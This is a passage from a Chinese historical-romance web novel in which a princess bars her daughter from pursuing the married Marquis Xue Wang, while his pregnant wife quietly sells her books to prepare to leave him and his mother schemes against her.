“嘉儿在胡闹什么?”武阳长公主看着桂树下的成安郡主袁嘉儿许久,最后收回目光看向了身旁的侍女,“把这个永平侯送到隋王那边去,再把郡主带过来。”
侍女应下,见武阳长公主再没有其他吩咐,便安静退下。
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另一边,薛望正犹豫着要不要再去见成安郡主时候,被长公主身边的侍女拦下了。
“侯爷,长公主请奴婢带着您到隋王一席去就坐。”侍女恭恭敬敬笑着说道。
薛望没由来松了口气,忙应下来,口中道:“多谢这位姑娘。”
侍女倒是有些意外薛望的态度,便也笑了笑,带着他绕过了席中众人往隋王那边走去。
而成安郡主则被带到了武阳长公主面前。
“母亲,我看上了一个人!”左右没有旁人,成安郡主扑到了武阳长公主怀里,眨着大眼睛笑着抱着长公主的胳膊摇了摇,“我要嫁给他!”
“是谁?”武阳长公主听着这话倒是有些欢喜起来,“难得有你一眼相中的。”
“永平侯薛望,女儿很喜欢他!”成安郡主目光灼灼,她回头去找寻薛望的身影,奈何人实在太多,一时半会也看不清,只好又回头看向了长公主,“母亲,我要嫁给他。”
武阳长公主面色冷下来,她看着成安郡主,眉头拧起来:“他已经有妻子了,你不要胡闹。”
“我哪里胡闹了,我就要他!”成安郡主理直气壮地看着长公主,语气坚定。
9. 有妇之夫
武阳长公主与今上同母,自今上登基后加封长公主,这辈子大约能算是顺风顺水。
此时此刻她听着自己女儿如此坚定地说看中了一个有妇之夫,脑子一突一突胀痛难当。
她忽然觉得民间那些老话却是有理的,儿女都是债,她的宝贝女儿袁嘉儿便就是她顺风顺水一生中的坎坷和劫难。
她看着成安郡主,压抑了自己心中的烦闷,努力让语气平静。
“所以你看上那薛望什么了?”长公主问。
成安郡主眼睛亮起来,她道:“我喜欢他相貌英武,高大俊朗,看起来十分可靠。”
“今日宴会上有好几个比他更可靠英武高大的世家子弟。”长公主随手指了指远处那些宾客们,“你喜欢的薛望,似乎还比不上他们高大。”
“那些只是白长了个子而已,和他不一样。”成安郡主捧着脸道,“若单单只看身量高大,那我不如直接和门板成亲得了。”
长公主沉默了片刻,倒是不得不承认自己女儿这句话是有理的。
但此时显然不能表达出任何认同之意,于是长公主又道:“除却外貌呢?我记得你也没见过他几次。”
成安郡主道:“见是没见过几次,但好几次我找他搭话,他都进退有度,谈吐之间也十分有礼貌。他不似那些世家子总是故作殷勤。”
“还有吗?”长公主继续问。
成安郡主看着自己母亲,有些不高兴地撅了嘴巴:“母亲,你难道不喜欢他?都说丈母娘看女婿越看越喜欢呢!”
武阳长公主此刻笃定这女儿必定是她命中的劫数。
“我问你,他已有妻子,你喜欢他,要把他妻子置于何地?”武阳长公主看着自己天真无知的女儿,面无表情问道。
成安郡主振振有词道:“叫她下堂就好了,她可以去找个别的男人。”
“她与她的丈夫过得恩爱平静,就因为你喜欢她的男人,她就要做弃妇。”武阳长公主嗤了一声,“到时候京中都要说你心思歹毒没有教养,我这长公主从此以后不必见人也不必出门,背后都是指着我的脊梁骨骂。”
成安郡主噎了一下,她显然是没想过这些的。她想了想,才道:“那我也可以不计较她的存在,她就留在薛家好了。”
“……”武阳长公主一时间竟不知能说什么,她倒是好奇起来,这薛望究竟是有什么好处,能叫自己女儿仿佛眼瞎心盲一样死心塌地?
成安郡主见自己母亲不说话,自以为有理了,便又拉着长公主的衣袖撒娇起来:“母亲,我就是喜欢他,我要嫁给他!”
“不行。”武阳长公主回过神来,断然拒绝,“嫁有妇之夫这种事情,想也不必想。”顿了顿,她扬声叫了外面的仆从进来,“你们看着郡主,哪儿也不许她去。”
“母亲?”成安郡主愣住。
仆从们进到厅中来,安静又迅速地把这并不算大的花厅团团围住。
“你就在这好好呆着。”武阳长公主已经平静下来,“你若敢踏出这里一步,我便不认你是我女儿,我上书圣上褫夺你的封号贬为庶民。”顿了顿,她对上了女儿泫然欲泣楚楚可怜的祈求目光,硬了硬心肠继续说下去,“我说到做到。”
成安郡主眼泪汪汪地一屁股坐在了地上。
武阳长公主却并没有多看她一眼,而是带着侍女们离开花厅,往别庄正院走去了。
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薛望与隋王等人见了礼,又寒暄了几句,便在席中择了个位置坐下。
刚坐下没多久,他正绞尽脑汁想着和旁边一位国公公子搭话时候,方才领着他过来的侍女出现在了他身后。
“侯爷,长公主殿下想见一见侯爷。”侍女低声说道。
虽然心中有些奇怪,但薛望还是立刻起了身,振了振衣衫,客气道:“请姑娘带路。”
侍女便后退一步让开了道路,请薛望走在了前面。
席上没有人注意到席末这点微小的动静,大家三三两两说着话,聊着京中如今最时兴的话题——今上六十岁的寿宴。
“我准备了一扇金扇屏,有这么大,用金箔贴的金牡丹!”一人比划着向旁边的人说道。
旁边人有些迟疑:“这是不是也太俗气露骨了一些?陛下不像是喜欢这种太俗气的东西啊!”
“金子俗气,但金牡丹不算俗气吧!”那人嘿嘿一笑,“其实我就爱金子,我觉得金子一点都不俗气。”顿了顿,他又问道,“你准备了什么?”
“还没想好呢!”旁边人一脸苦恼,“不过好在那是年底的事情,还有好几个月让我去想。”
“你说陛下会不会在寿宴上宣布新的太子?”前头说话那人声音蓦地压低了下去,他意有所指地看了一眼上首坐着的嘉王隋王等人,“你说……会不会——唔嗯!!!”
他的话没说完,就被旁边的人一把捂住没了声。
“你喝多了!”旁边那人额头上的汗都冒了出来。
被捂住嘴的那人挣扎了一会,拼命用眼神示意他已经明白不会再乱说话,才被松开。
“那个舞姬好看。”被放开的人搓了搓脸,看向了那些翩翩起舞的舞姬。
旁边那人松了口气,随口附和道:“是啊,每一个都很漂亮。”
上首的隋王嘉王等人百无聊赖地看着这些歌舞,口中有一搭没一搭说着话。
“十一弟今天回来,必定是要进宫的吧?”嘉王行七,与四皇子隋王同母,两人只差了两岁,总是形影不离。
“父皇应当还会留他在宫中住一些时日。”隋王淡淡道。
“啧,父皇对十一弟还是一如既往这么溺爱。”嘉王语气中颇有些不忿,“我最讨厌他无法无天的样子。”
“讨厌也没用。”隋王目光扫过席中那些世家子弟们,语气仍然淡淡,“你见到他的时候,记得把这些都收起来。父皇喜欢看我们兄友弟恭的样子。”
“我知道的——”嘉王拖长了声音应了一句,忽然又想起什么一般,略微坐直了身子,“杨国舅似乎还没放弃让他女儿和十一弟复合呢,据说这次请动了杨家的老太君进宫去劝说皇后。”
隋王挑了眉,看向自己弟弟:“这倒是没听说,你怎么知道的?”
“刚才听他们说的。”嘉王随手往席上一指,“他们说杨家想劝十一弟重新和杨氏复合,就正好赶在父皇大寿之前复合。他们是想推一把十一弟?”
隋王静默了片刻,露出沉思神色,过了片刻才缓缓摇了摇头:“杨家就算想,十一弟那人……要是逼急了,怕不是要闹得大家都没脸。杨家不敢赌的。”
“也是。”嘉王懒洋洋笑了起来,“我们兄弟十几个,就他一个人做个王爷还几起几落,要不是托生到皇后肚子里,恐怕老早就把小命给玩没了。”
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另一边,薛望跟随侍女穿过了大半个别院,来到了正院前厅。
武阳长公主站在厅中,漠然看着他上前来行了礼。
“你站起来让我看看你的相貌。”长公主淡淡说道。
薛望有些莫名,但还是依言站起来,任长公主上下来回打量——他感觉莫名并且站立难安,可他偏生也不知前因,此刻连说话都不知要如何开口。
也不知过了多久,薛望顶着这刀子一样的目光,已经开始回忆从前有没有得罪过长公主时候,长公主终于开了口。
“你的确有个好相貌,的确能算是高大英武。”显然不友善的语气,长公主回到上首坐下了,她盯紧了薛望,“你父亲曾是太子少师,出身倒是很不错。”
薛望迟疑了一息,不知应当如何回答,他也想不起来自己曾经有什么时候得罪过长公主。
“坐吧!”长公主指了指一旁的位置,“有些事情我要问一问你,你最好如实作答。”
“是。”薛望心中满是疑窦,依着指示坐下了。
“你见过成安郡主几次?”长公主问。
薛望想了想,道:“三次?或者四次吧……除今日之外,都是在宫中宴会上碰见,那会还见过郡王殿下。”
“瑶儿也在场?”长公主皱了皱眉。
“是。”薛望如实回答了,“前头几次都是给郡王请安时候碰见了郡主。”
长公主露出思索神色,招来侍女低声说几句什么,侍女便点头离开。
这话落到成安郡主身上却不见郡主本人,薛望依稀有些知道长公主想要说的是什么了——他心中思忖了一番,很快就拿定了主意,露出了不知所措的模样来。
他道:“殿下是因为今日臣不请自来生气么?臣确实失礼了,还请殿下见谅。臣这便回家去……”一边说着,他一边作势要站起来。
“且慢,你先坐下。”长公主语气缓和了些许。
薛望缓慢坐下,面上显露着无辜无措还有拘谨茫然。
刚才离开的侍女很快回来,她在长公主身边耳语了几句,长公主神色便不似刚才那般冷漠了。
薛望小心观察着长公主的神色,猜测着究竟会是什么事情。
“你得了这爵位也有两年,如今还没实差,可愿意去地方上做个官?”长公主挥手让侍女离开,转而看向了薛望,“你年纪轻,在京中一味等着补缺恐怕也难,但地方上便不一样了。在地方上大展身手一番做出一些成绩,将来回来京中也不算什么太难的事情。”
薛望心中一喜又是一顿,他大约知道为什么长公主会有这么一说。
若不是今日这情形,他应当会十分高兴应下的,他并不拘泥在京中或者在地方上,左右他还年轻,去哪里做官不是做官呢?
现在长公主明显在怀疑之前成安郡主和他之间有过的那些流言,他将心比心便在想,若是长公主心中是想着在京中无法下手,叫他离京才好叫人灭口的主意呢?
如此明显的迟疑,长公主看在眼里,她眉头又皱起来了。
“怎么,你不愿意?”长公主声音中多了些威严。
薛望忽然想到了什么一般,他起身上前,一面是谦恭一面是惶恐,口中道:“非是臣不愿,臣妻有孕在身,既无法跟着臣一路颠簸,臣也不愿叫她一人留在京中。臣……就算要去地方上,也得等臣妻诞下孩儿,一切安稳了,才好上路。”
这话叫长公主面色缓和了许多。
薛望观测着长公主神色,微微松了口气。
“你妻子既然有孕,便好好在家陪伴妻子吧!”长公主如此说道,“等你妻子诞下孩儿,我为你在圣上面前进言,叫你去地方上做个太守之类。”
薛望忙道:“多谢殿下。”
长公主看着他,此刻也露出几分笑意:“那么你就记好了,在家陪伴妻子,做个好丈夫。
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”
“是……”这言下之意,薛望也听得明白。
长公主见他如此识趣模样,点了点头,一边示意他起身,一边向外面道:“马车备好了么?永平侯心系妻子,你们送永平侯回府去吧!”
外面的侍卫说着已经备好了车马。
薛望站起身来。
他已经很明白今日到底发生了什么。
.
夜风凄迷。
沈霜晚躺在床上睡得并不安稳。
她被形状各异的梦魇拖拽着穿梭在各种各样的场景中,有时满座宾客,有时月落西山枭鸟夜鸣,有时是她一人。
突然眼前忽然亮起,又有人声想起,她从梦中醒来。
“什么时辰了?”她睁开眼睛,看见承月正举着烛台从外面进来,“出什么事情了?”
“是侯爷回来了。”承月进来给里里外外都点上了灯,又叫人抬水到隔壁去,“侯爷说要在这边洗漱,再陪着夫人一起休息。”
“不是说明日才回来?”沈霜晚愣了愣,还没来得及追问更多,便已经看到薛望从外面进来了。
“想着你有孕在身,怕你担心,就回来了。”薛望接了她的话,他语气平常,“索性也不是什么重要的宴会,我便跟长公主说了一声,长公主见我心疼妻子,还叫人送了我一程。”说着话,他走到了床前,按下了沈霜晚不叫她起身,“你就歇着,我等会在外间睡就行。”
沈霜晚仔细看了看薛望神色,只觉得他面色中透露着几分说不出的不自然和怪异,她便道:“叫厨房给做些小食垫垫吧?长公主别院在京外,离京城还有那么远呢!”
“叫他们随便送点什么上来就是。”薛望随口说着,转身一边解衣裳,一边朝着隔壁房间走去。
沈霜晚狐疑地伸头看了一眼,叫承月去吩咐厨房送些吃食过来。
隔壁水声阵阵,那莫名的声音突然又响起来了。
“如何?薛望心中有你,所以才会半夜都回来看你。”那声音不知为何透着一些得意,“你用心对他,他自然会用心对你。你总想着离开,当然你们会离心。”
沈霜晚翻了个身,她直觉薛望不会是因为突然想起她就回来。
“怀疑才是人心中最凉薄的一面。”那声音继续说道,“他不曾薄待过你,这是事实。”
沈霜晚不去搭理这个莫名其妙的声音,她在想——到底发生了什么,会让薛望在半夜赶回来?因为他和那个什么郡主的事情事发了?若是事发,他应当不太可能在长公主那边全身而退吧?
“为何你会用这样大的恶意去揣测你的枕边人呢?”那声音能知道她心中所想,他几乎急迫地问。
承月拿着食盒从外面进来,在小厅中摆好了几样精巧的膳食,然后回到内室来拿着衣裳帮忙沈霜晚披上。
沈霜晚不管那声音究竟在说什么,只靠着床头坐了。
隔壁的水声已经停下,不多一会儿,薛望便随便披了件衣裳出来。
他一眼看到了摆在桌上的膳食,便直接在食案后坐下,向左右道:“取一壶酒来!”
沈霜晚于是起身,道:“我陪着你用一些吧!”
“酒你是不能用了,随便吃些饭菜垫垫。”薛望长长出了一口气,认真看向了沈霜晚,“我今后就在家陪着你,直到你生下这个孩子,好不好?”
沈霜晚还没来得及说什么,那莫名声音已经欢欣鼓舞再次响起。他道:“如何,我便就说是真心换真心,你不应当怀疑他,你就应当好好和他在一起。”
“怎么,这还不高兴了?”薛望看着沈霜晚,“我就在家里,你就不会疑神疑鬼了,是不是?”
耳边,那嘈杂的声音还在叫嚷着:“这足以说明一切,这足以说明,你就应该信任他,他是你能托付一生的丈夫。你抓紧这一切,难道还愁将来?”
沈霜晚看着薛望似乎柔情满满的眼眸,心中似乎有那么一些动摇了。
梦真的是真吗?
她陪着薛望坐下了。
.
这一夜薛望歇在了外间,沈霜晚仍然在层叠的梦中并不安眠。
她再醒来时候已经快近中午,承月等人一边伺候她起身,一边说着府中的事情。
“早上侯爷去老夫人那边说夫人要休息,又叫我们不喊夫人起身。”承月扶着沈霜晚起身换了衣服,“老夫人又叫人送了些燕窝人参之类的过来,夫人等会要看看吗?”
沈霜晚有些恍惚,她摆了摆手,只道:“直接收起来吧,来来回回就这些事情,实在厌烦。”
“侯爷今天真的在府中没有出去呢!”承月声音忽然小了很多,她凑到沈霜晚耳边悄悄开口,“我从门房那边听说,侯爷其实是在长公主的宴会上得罪了人,才被送回来。”
“得罪了什么人?”这话并不让沈霜晚多意外,她便觉得应当是如此的。
“那便不知道,门口的小厮也只听了个一句半句,没听得太真切。”承月道。
沈霜晚点了点头,并不太想追问下去,她只道:“你把昨日我收拾出来那个小包裹拿出来。”
承月依言拿着一个小包袱过来,好奇地看着沈霜晚打开,里面只是一套书而已。
沈霜晚拂过这套书的封皮,没忍住叹了口气,又重新包好递给了承月:“就这套,拿出去卖了吧!”
10. 妻子
沈令德是读书人出身,他死后留下最多的是书,最遭人嫌弃的也是书。
沈霜晚带着那一箱一箱的书嫁到薛家,得了朱氏许多明里暗里阴阳怪气的嫌弃。
读书人常说最无价的是书,书中自有黄金屋。沈霜晚开蒙时候沈令德这么对她说,沈霜晚出嫁的时候连氏也这么对她说,世俗意义上的金钱比不过书中的一切,但沈霜晚现在要用这些无价、无法用金钱衡量的书去换取它的金钱价值了。
承月接过了那小包袱,并没有多问缘由,只道:“还是之前送过那书斋么?”
“是。”沈霜晚点了头。
承月便把这包袱认真收起来,道:“那奴婢下午就回家一趟。”
沈霜晚看向了承月,她有那么一个念头,此时此刻还不知能不能说出口。她踟蹰了片刻,又在打了一会腹稿,才缓缓道:“有件事情,我想问一问你。”
此刻房中没有旁人,方才跟随进来的小丫头们出去归置那些燕窝人参,承月抱着那小包袱,忍不住左右看了一眼,才道:“夫人有话,尽管问便是了。”
“你想——”沈霜晚闭了闭眼睛,甚至觉得自己将要说出的话有些荒谬,她定了定心神,重新看向了承月,“你想给侯爷做小,或者我放你奴籍嫁个普通人?”
承月一愣,她显然没想到沈霜晚会有这么一问,她想起前日夜间她去往书房一事,面上露出许多惊慌。
“不必慌乱。”沈霜晚安抚地拍了拍她的手,“那天我允你去书房,今日便也不会责备你。”
“可……夫人为何会这么问呢?”承月揪着那包着书的缎子,面露不解。
“你在我身边这么多年,我与你主仆一场,关系也算是和睦吧?”沈霜晚笑了一笑,她看向了窗外,仍然是阴沉沉的,不知何时才会天晴,“我自认为不是很难相处的人,当然了,在你们眼中我是否真的好相处,也未可知。”
承月面色慢慢放松了一些,她道:“夫人的确是好相处的主人。”
“所以方才那个问题,你心中有答案么?”沈霜晚问。
承月思索了片刻,面露难色,过了许久才缓缓道:“若能为良民,奴婢心中自然是不胜欣喜。”她语气中的犹豫显而易见,“只是我从小就进到府中,除却伺候人,旁的全不会……夫人……”她小心看向了沈霜晚,“前次书房之事奴婢已经明白了不应当肖想那些事情,从今以后奴婢便就愿意一辈子伺候夫人和小郎君。”
“我明白了。”沈霜晚并没有再多说下去。
承月缓缓松开了被她捏出了皱纹甚至快要变形的绸缎,她忽然心中茫然。
外间丫鬟们拎着食盒摆好了午膳,沈霜晚便掩过话头示意承月先把那一包书给收好,然后起身往外间去了。
.
“那套书是前朝太傅虞思所著,本朝太宗皇帝亲自注解,天禄阁中也只剩一套,你要把这套书卖掉?”被沈霜晚喝退的声音突然再次出现了,“这书万金难得,你如何舍得?”
沈霜晚只作没听到一般,走到厅中坐下了。
她问抬着午膳进来的丫鬟们:“侯爷是在西院陪着老夫人用午膳了么?”
丫鬟忙道:“是,侯爷与老夫人一起用膳,并吩咐我们过来给夫人送午膳。侯爷说,夫人现在有孕在身,就不要来回奔波了。”
“多谢侯爷与老夫人关爱。”沈霜晚淡淡道。
丫鬟听着这话,便乖觉退到一旁。
“你若需要用钱,大可以直接开口,何必要卖掉那样珍贵的书?”那声音似乎执着想要一个答案。
沈霜晚看着食案上油汪汪的鸡鸭鱼肉,忽然觉得胸口涌起了一阵恶心,她干呕了两声,摆手示意丫鬟们过来把荤菜都撤下去。
丫鬟们一拥而上,端水的端水,捧漱盂的捧漱盂,另有人迅速把那一桌子饭菜撤下。
好一阵兵荒马乱之后,沈霜晚挪到了窗下的小榻上靠着迎枕坐了,面前摆上了热水和她最近常用的点心。
“那些饭菜你们拿下去吃了吧!”沈霜晚对丫鬟们说道,“这会儿不用人伺候,我一个人坐坐就好。”
丫鬟们齐声应下,便退了下去。
“你有孕在身,便不应当只吃这些糕点。”那声音似乎有格外多的话要说,“你需要养好身体,那些肉菜是为了你好。”
沈霜晚若有所思看着面前的茶杯,这声音自从出现以来,似乎总能知道她所思所想,只是看不见摸不着而已。于是她试着在心中问那已经出现了许久的声音:你是谁?
“我……只是关心你的人。”那声音尽管语气迟疑,但仍然很快给出了回答。
关心?
沈霜晚几乎要冷笑出声。
她只又问:你凭什么身份关心我?你是谁?是人是鬼?从何而来?所为何事?
那声音久久没有回答。
沈霜晚心头拂过了一些猜疑,没有追问下去。
.
西院中,薛望与朱氏已经用完了午膳,正在说话。
薛望向朱氏说了昨日在武阳长公主别院中发生的事情,他有些责备地向朱氏道:“那两次郡主送东西过来母亲便不应当收。”
朱氏看了薛望一眼,挥手让屋子里面的丫鬟都退出去,然后才缓缓道:“为何不应当收?郡主若是你妻子,你便不需要像现在这样腆着脸四处求官。”
这话叫薛望噎住,过了好半晌他才道:“我已经有沈氏了,沈氏如今有孕,我若招惹郡主……京中便只有骂我的。”
“骂几句又如何?”朱氏反问。
薛望道:“人生在世,便是为了名声或者。当初为了不负薛沈两家的约定,我已经娶了沈氏,这约定只要还在一日,我便应当履约,这就是君子应当所为之事。”
“那你就做你的君子好了。”朱氏很不在意地笑了一声,“为娘当初能叫你继承这偌大家业,
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也能叫你不损名声重新娶到一个名门闺秀。”
薛望眉头皱了皱,却没有说话。
“我记得前两日她身边的丫鬟去你书房了,她想来是心中妒忌,日夜难寐,约是会在梦魇之中小产,之后失了调理,丢了性命。”朱氏看着薛望,语气却平淡无波。
“不可……这不可……”薛望摇了摇头,“沈氏并没有做错什么事情啊……”
“难道你是担心沈家?这担心也不是没有道理。”朱氏淡漠地看了薛望一眼,“虽然沈家败了,京中也没有人,但据说老家还有几房,说不定听说自家人出事要来闹一场。”
“不,母亲,我不是这个意思!”薛望看着朱氏,“沈氏是我的妻子,我为何要她去死?”
朱氏却并不理会薛望的话,她只道:“或是沈氏去寺庙祈福,却偏生遇到了心怀鬼胎的恶尼姑,那恶尼姑看上沈氏美貌,便起了歪心思,想要掳走她,沈氏坚贞不屈,便一死以证清白。你悲痛欲绝,便把那荒淫寺连同恶尼姑统统送入大牢之中,只待秋后问斩。若沈家人找来……”
“为何母亲非要让她死!”薛望恼怒地打断了朱氏的话。
朱氏笑了一声,道:“你想要名声,死人是不会为自己申辩的,而对于你的下一任妻子来说,最好原配没有留下碍眼的子嗣,所以沈氏必须要死。”顿了顿,她盯紧了薛望的眼睛,“你的前程才是最重要的,你得有将来,出将入相,而不是在家中蹉跎。你要想明白,是眼前这一点点名声重要,还是将来重要。”
这话让薛望沉默了许久,末了,他道:“我觉得沈氏很好,她……或者不应当就这么死去。”
“你们男人在美人面前都是如此优柔寡断。”朱氏嗤笑了一声,“你和你父亲没什么两样。”她看着薛望,句句紧逼,“你父亲当年为了一个美人,得罪了郑鹤得,被贬谪到光州做别驾,差点让我们母子俩一尸两命死在光州那地方,而你现在要为了一个美人,把将来断送吗!你回答我,望儿,你要在这府里蹉跎一辈子吗!”
“这不能混为一谈!”薛望恼火地站起身来,他来回在厅中踱着步子,“母亲,你若说光州之事,若说当初我出生时候波折,那更不应当让沈氏去死!若不是那时候光州刺史是岳父,岳母又亲自来照顾你生产,哪里有我们娘俩活路!救命之恩的回报就是让恩人的女儿去死吗!我做不到!”
朱氏听着这话,顿时脸色难看起来,她看着薛望,眼中全是失望:“我是为了你!当初我便不让你娶她!不认那门亲事,也不必管那什么救命之恩!原本就是十几年没有往来的人家!你那时若是能娶到京中的名门贵女,说不定老早就袭爵老早就当上大官了!”
“总之,母亲你不要做那些事情。”薛望停下了脚步,他看着朱氏,“沈氏很好,我现在不希望她死去。”
朱氏沉沉叹了口气,道:“既然你这么坚定,那便也不必再多说,你回去陪着沈氏吧!”
11. 他的妻子
薛望还记得曾经在家中的那位安静柔弱的姨娘,他父亲唯一的妾室,她为他的父亲生下了一个儿子。
他的庶兄在他十二岁那年因为时疫去世,那位姨娘悲痛欲绝,不久也就跟着去了。
也便是那年,他的父亲与母亲大吵了一次,最后分院而居,如此到父亲去世,也再没有与母亲见过一面。
他曾经问过父亲缘由,他也曾经为了母亲在父亲面前求情,但他的父亲一直未曾有退让。
那时他不能明白为何父亲会那样冷硬,可今日他却突然对庶兄和姨娘的去世有些隐隐的猜测了——他记得庶兄去世的那年,父亲正与母亲商量给庶兄说一门亲事。
这件事情当然没有任何结果,人都死了自然不必再谈什么结亲。
但母亲后来总恨恨说起他的亲事,说他原本应当找个名门淑女,而不是那个落魄了的沈家。
那时他已经从父亲那里知晓了他有一桩刚出生时候就定下的婚约。
父亲总对他说,沈家是很有教养的人家,你的岳父只有那么一位独生女儿,也会是很有教养的女孩儿。将来她会是你的贤内助。
他那时夹在父亲和母亲之间,不知到底应当如何应对,并没有心思去细想母亲的话。
但今日他却突然意识到,或者他的庶兄和姨娘都并非是那么简单的因病、因悲痛去世。
他的母亲今日如此轻描淡写地说着让沈氏去死的话语。
他的母亲也曾很淡然地说起过薛家其他几房的人都毫无用处的话语。
彼时父亲去世时候,他心中茫然无措,是母亲替他撑起了一片天,替他掌握住了薛家,他的母亲就是用了那些手段吗?
他又想起朱家的舅舅们,朱家那时与郑鹤得来往亲密,郑鹤得一手遮天敢与前太子相争,朱家自然也是在京中气势嚣张。
那几年他的母亲一心一意依附着娘家,希望娘家兄长出面,能叫他早早袭爵,可他却并没有袭爵。
一直到郑鹤得一党与前太子几乎同归于尽了,朝内外产生了翻天覆地、几乎无法挽回的变故,他才在两年前得到了他想要许久的爵位。
有些事情……却不应当去回想吧!
薛望回头看了眼西院的方向,若没有母亲,他哪来今日呢?
他心绪烦乱,往前院书房去了。
.
沈霜晚在清理她陪嫁过来的那些书册。
这其中有许多书册是自动她父亲去世之后便封存起来没有再动过的。
她虽然爱书,但却也并非是每一种都有兴趣一一看过,其中许多关于策论治民的篇章她实在兴趣不多,便也就在封箱后没有再动过。
从前在沈家时候,连氏还常常在夏季晒书,等到她嫁到薛家,却不好那么兴师动众把自己这些书籍都搬出来晒,朱氏对她有太多含沙射影的话,她虽然并不惧怕,但也并不想常常听到。
丫鬟们小心跟在一旁替她爬上爬下找东西,不敢叫她太劳动。
而那莫名的声音在这个下午似乎格外活泼一些,他不断在说话。
“这些书我从前都没见过。”他说,“实在太珍贵了。”
沈霜晚解开了丫鬟搬下来的那套书的函套,简单翻了翻内页,粗略检查了一番有没有书虫破页,然后重新装回去,叫丫鬟放到一旁去。
“难道你要全部卖掉?”那声音问。
沈霜晚想到她梦见的那许多事情,薛望在娶了郡主后,她的这些简薄的被人瞧不起的嫁妆也不过都如废物一样丢弃,这些东西只是在她这里有那么一些意义而已。
放在架子上,堆在库房中,能寄托她的思念,能寄托她的怀念,却并没有其他的任何作用了。
倒不如直接换了钱,叫她得个自由出路。
他日说不定她得了自由,某日再去书斋时候,能看到这些被封存的书重新刊印,叫有识者能阅读。
她心中这么想着,又忽地在揣度那声音究竟是什么身份。
他虽然不说,但必定是她认识的人。
若是八竿子打不着的外人,实在没有必要对她的行为一直那么多点评,也实在没有必要总觉得薛望对她好,是她有问题想太多。
她初时做梦时候,梦中的她那样直白地说过她就是她。
所以这个声音,或者是薛望?与梦中的她同样来自将来的薛望?
可他将来娶了郡主有了贤妻有了荣华富贵,他有什么好后悔?若是将来的薛望,怕不是巴不得她早点腾了位置给郡主吧?
但若不是薛望又能是谁?那个声声泣泪宁愿不出生的儿子?
这个念头让沈霜晚心中打了个突,她缓缓抚上了自己的小腹。
是因为知道自己即将来到这个世界,所以希望她不像已知的将来那样无用,希望她能成为一个能让他得到所有父亲宠爱的母亲?
沈霜晚不禁摇了摇头,她的孩儿不应当会是这样的人。
除却这两人,还能是谁呢?她的父亲沈令德?
沈霜晚想起年幼时候跟在父亲身后学画画的情景,她想,若是她的父亲成了鬼魂到了她身边,一定不会说这些有的没的,一定会想办法帮她脱离困境。
她再想不出会是谁了。
不过……任是谁也没有关系,没有人能改变她已经做出的决定。
她会离开薛望,离开薛家。
她会首先给自己准备好将来所需的一切。
.
承月替沈霜晚卖掉三次书后,薛望觉察到了。
已经彻底入秋,府中落叶飘零,秋海棠的花瓣枯萎。
薛望皱着眉头听着长随说了正院的事情,有些烦闷地问道:“最近老夫人又短了正院的用度?”
长随道:“这倒是没听说。”
薛望于是站起身,道:“去正院看看。”
那日从长公主别院回来后,薛望已经许久没再出府去了。
期间成安郡主倒是又送过几次礼物,但被他都强硬退了回去,因此还与朱氏又争执过一番,最后是朱氏拗不过他。
他想起几年前沈霜晚也因为手中银钱不够叫丫鬟出府典卖过一些字画,他实在是疑心这次朱氏与他争执不过,便故态复萌拿沈霜晚下手。
想着这些,他心中烦闷。
他并不认为沈霜晚有什么过错,她温柔善良,知情识趣,就算是家世也没什么太多可挑剔的地方。
那时沈家是没落了,可他与沈霜晚成亲时候,薛家也未见得是多好的人家。<
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p>朱氏总自视甚高,他的母亲总高高在上。
可他不愿和朱氏争吵——若真是朱氏又克扣了正院的银钱,便由他悄悄补上便是了。
薛望如此想着,走过夹道进到了正院中,正好便看到沈霜晚正在假山旁边看着丫鬟婆子们更换院子里面的花草。
从他这边看去正好逆着光,阳光勾勒出了沈霜晚姣好的轮廓,叫他情不自禁停下了脚步。
那些压在心底一直不愿意明说的心思在此时此刻都翻涌出来,他的妻子有着极其美丽的容颜,艳而不俗,娇而不鄙,他是一个男人,他的本能命令他不能对这样美貌的女人有片刻的放手。
薛望甚至敢夸口,这京中没有比他的妻子更美的美人,就算是那位郡主……也不过只是年轻娇蛮罢了。
这时,有丫鬟注意到他的到来,上前来行了礼。
他的妻子也看过来,她慢慢走近他,他看到她的肚子已经微微有些隆起了。
“侯爷怎么这时候过来?”他的妻子柔声问。
薛望缓缓把那些思绪都收拢,重新想起了自己过来正院的原因,他道:“我们进去说。”
.
沈霜晚不意外薛望会过来。
昨天承月回来时候便与她说起在外面碰到了薛望身边长随的事情。
这事情她原也没打算完全瞒住他,听着承月说了,便知道薛望必定会来一问。
她还记得上回她卖字画时候,薛望过来与她先说了些严厉的话语,然后补足了银钱,只是不知这次是否还有那些斥责。
心里想着这些,她跟随在薛望身后,耳边那身份不明的声音恰当响起了。
那声音道:“典卖书册原也不是应做的事情,这些都应当传之子孙。”
沈霜晚只当没听到,跟在薛望进到屋子里,两人分别坐下。
薛望示意丫鬟们都退出去,再关上门,然后才慢慢开口:“最近若是银钱短缺,便叫承月到书房去领,我最近不出府也没什么应酬,用钱的地方少。”顿了顿,他观察着沈霜晚的神色,然后才继续说下去,“典卖书册这样的事情……实在没有必要。”
沈霜晚扶着腰徐徐笑道:“那些书左右在家里也是堆着占地方,你我都不看的,送到外面去让那些想看的人看,才是应当做的事情。否则倒是叫这些书都白白落灰。”
这话倒是让薛望半晌不知如何应答了,他看着沈霜晚,目光扫过她如今有些笨拙的身体,只叹了口气,道:“家里这么多地方可以放呢,再说将来我们儿子出生,说不定他就喜欢看。”
“我这儿的书没什么可看的,侯爷那一书房的书才应当是他要看的。”沈霜晚说道。
“罢了,我倒是说不过你。”薛望一时间失笑,只摇了摇头。
“侯爷快两个月了怎么都没出府去,是外头有什么事情么?”沈霜晚问,“前儿还听丫鬟说侯爷与母亲吵架了。”
“就一些小事,那些下人听风就是雨。”薛望不想与沈霜晚说那些事情,只含糊地摆了摆手。
沈霜晚想了想,起身从一旁的架子上找出个匣子交到薛望手里,她道:“昨日母亲送来的,说是长公主府送来的首饰,我瞧着这应当是个男人用的簪子,还没来得及送到前头去给你。”
12. 金簪
沈霜晚很清楚明白地感觉得到朱氏所思所想——她已经快要明说你赶紧腾位置,让我儿子能有个好妻子,将来有个好前程。
从她嫁到薛家开始,朱氏总是这样功利到直白的样子。
她从前总想着对婆母应当尊重,也总想着成了亲就是一辈子的事情,她没有必要去与朱氏计较,人和人总是相处出来的。
她偶尔回忆梦中那些情形,约莫也能理解梦中的她会妥协会低头。
人就是会为了一辈子暂时退让的。
只是她退让的时候并无法预计到之后的情形,她也无法知晓她每一次暂时的退让都变成了永远的退让,一退再退,最后发现无处可退时候,已经追悔莫及。
便比如这支显然是男人用的发簪,据说长公主府送来了许多东西都被薛望退了回去,为何偏偏又剩下了这支发簪?
